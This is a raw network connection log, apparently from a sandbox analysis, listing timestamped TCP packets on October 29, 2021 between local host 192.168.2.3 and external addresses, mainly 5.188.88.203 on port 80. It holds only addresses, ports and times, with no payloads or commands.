Oct 29, 2021 14:09:41.711745024 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711785078 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711822987 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711836100 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711862087 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711899996 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711913109 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711937904 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711977005 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711983919 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712014914 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712054014 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712064981 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712095022 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712131023 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712145090 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712169886 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712208986 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712222099 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712245941 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712284088 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712296963 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712322950 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712359905 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712368965 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712399006 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712435007 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712450027 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712472916 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712511063 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712527990 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712547064 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712584972 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712599039 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712622881 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712661028 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712687016 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712701082 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712738037 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712747097 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712778091 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712816954 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712825060 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.712888956 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.712938070 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.785489082 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785545111 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785584927 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785624027 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785649061 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.785661936 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785687923 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.785701036 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785741091 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785758972 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.785780907 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785835028 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.785851002 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785888910 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785931110 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.785947084 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.785970926 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786007881 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786024094 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786047935 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786082983 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786098003 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786122084 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786163092 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786173105 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786201000 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786238909 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786257029 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786278963 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786314964 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786354065 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786360025 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786391973 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786401987 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786432028 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786493063 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786530018 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786571980 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786611080 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786623955 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786648035 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786686897 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786705017 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786725044 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786761045 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786773920 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786799908 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786839962 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786854029 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786879063 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786917925 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786926985 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.786955118 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.786993027 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787002087 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.787031889 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787067890 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787082911 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.787106991 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787143946 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787157059 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.787183046 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787221909 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787230968 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.787260056 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787297964 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787312031 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.787337065 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787373066 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787385941 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.787410975 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.787460089 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.860451937 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860507965 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860549927 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860574007 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.860588074 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860626936 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860642910 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.860666037 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860706091 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860744953 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860747099 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.860781908 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860799074 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.860822916 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860877991 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.860902071 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860943079 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860979080 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.860992908 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861017942 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861053944 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861073971 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861093044 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861131907 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861141920 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861169100 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861207962 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861216068 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861247063 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861283064 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861308098 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861321926 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861360073 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861368895 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861398935 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861438036 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861452103 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861475945 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861514091 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861527920 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861552954 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861588955 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861604929 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861627102 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861664057 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861676931 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861704111 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861742973 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861756086 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861778975 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861833096 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861845970 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861885071 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861922026 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861934900 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.861960888 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.861999035 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862010002 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.862040997 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862080097 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862090111 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.862117052 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862154961 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862169027 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.862194061 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862230062 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862242937 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.862267971 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862306118 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862318993 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.862344980 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.862392902 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.934885979 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.934957027 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935003996 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935053110 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935075045 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935091019 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935111046 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935132980 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935163021 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935188055 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935193062 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935220957 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935244083 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935250998 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935280085 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935297966 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935307026 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935334921 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935357094 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935362101 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935389996 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935406923 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935427904 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935476065 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935512066 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935623884 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935655117 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935677052 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935686111 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935714006 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935733080 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935743093 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935771942 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935791016 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935798883 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935830116 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935856104 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935858011 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935887098 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935908079 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.935925007 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935964108 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.935977936 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936005116 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936041117 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936053991 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936080933 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936120987 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936130047 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936152935 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936182022 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936197996 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936212063 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936239004 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936259031 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936266899 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936295033 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936312914 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936321974 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936351061 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936367035 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936379910 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936410904 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936429977 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936449051 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936484098 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936506987 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936516047 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.936572075 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.936630964 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:42.009987116 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:43.688858986 CEST	49751	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:43.758860111 CEST	80	49751	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:43.759588003 CEST	49751	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:43.759658098 CEST	49751	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:43.759668112 CEST	49751	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:43.828972101 CEST	80	49751	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:43.829058886 CEST	80	49751	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:43.910439968 CEST	80	49751	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:43.910551071 CEST	49751	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:43.917503119 CEST	49751	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:43.987185955 CEST	80	49751	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:44.030823946 CEST	49752	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:44.100393057 CEST	80	49752	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:44.100542068 CEST	49752	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:44.100657940 CEST	49752	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:44.100691080 CEST	49752	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:44.170696974 CEST	80	49752	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:44.170736074 CEST	80	49752	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:44.254196882 CEST	80	49752	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:44.254312992 CEST	49752	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:44.254555941 CEST	49752	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:44.267484903 CEST	49753	80	192.168.2.3	216.128.137.31
Oct 29, 2021 14:09:44.323879957 CEST	80	49752	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:44.386715889 CEST	49679	80	192.168.2.3	23.203.78.112
Oct 29, 2021 14:09:44.386769056 CEST	49678	443	192.168.2.3	23.203.67.116
Oct 29, 2021 14:09:44.405462027 CEST	80	49679	23.203.78.112	192.168.2.3
Oct 29, 2021 14:09:44.405505896 CEST	443	49678	23.203.67.116	192.168.2.3
Oct 29, 2021 14:09:44.405531883 CEST	443	49678	23.203.67.116	192.168.2.3
Oct 29, 2021 14:09:44.405657053 CEST	49679	80	192.168.2.3	23.203.78.112
Oct 29, 2021 14:09:44.405720949 CEST	49678	443	192.168.2.3	23.203.67.116
Oct 29, 2021 14:09:44.407016039 CEST	49678	443	192.168.2.3	23.203.67.116
Oct 29, 2021 14:09:45.231951952 CEST	49693	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:09:45.232584000 CEST	49694	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:09:45.397386074 CEST	80	49682	93.184.220.29	192.168.2.3
Oct 29, 2021 14:09:45.397512913 CEST	49682	80	192.168.2.3	93.184.220.29
Oct 29, 2021 14:09:46.516347885 CEST	49701	443	192.168.2.3	23.211.5.146
Oct 29, 2021 14:09:46.516870022 CEST	49702	80	192.168.2.3	93.184.220.29
Oct 29, 2021 14:09:47.367995977 CEST	49753	80	192.168.2.3	216.128.137.31
Oct 29, 2021 14:09:53.368360996 CEST	49753	80	192.168.2.3	216.128.137.31
Oct 29, 2021 14:10:00.320269108 CEST	49793	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.388880014 CEST	80	49793	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.389060974 CEST	49793	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.389107943 CEST	49793	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.389121056 CEST	49793	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.457465887 CEST	80	49793	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.457511902 CEST	80	49793	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.538332939 CEST	80	49793	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.541541100 CEST	49793	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.542027950 CEST	49793	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.573915005 CEST	49794	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.610038996 CEST	80	49793	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.652545929 CEST	80	49794	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.652658939 CEST	49794	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.652808905 CEST	49794	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.652877092 CEST	49794	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.731249094 CEST	80	49794	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.731293917 CEST	80	49794	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.810112000 CEST	80	49794	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.810221910 CEST	49794	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.823342085 CEST	49794	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.851891041 CEST	49795	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.901616096 CEST	80	49794	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.920770884 CEST	80	49795	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.920953035 CEST	49795	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.921042919 CEST	49795	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.921057940 CEST	49795	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:00.989834070 CEST	80	49795	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:00.989993095 CEST	80	49795	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.068139076 CEST	80	49795	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.074094057 CEST	49795	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.074393988 CEST	49795	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.142791986 CEST	80	49795	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.190577984 CEST	49796	80	192.168.2.3	5.188.88.203
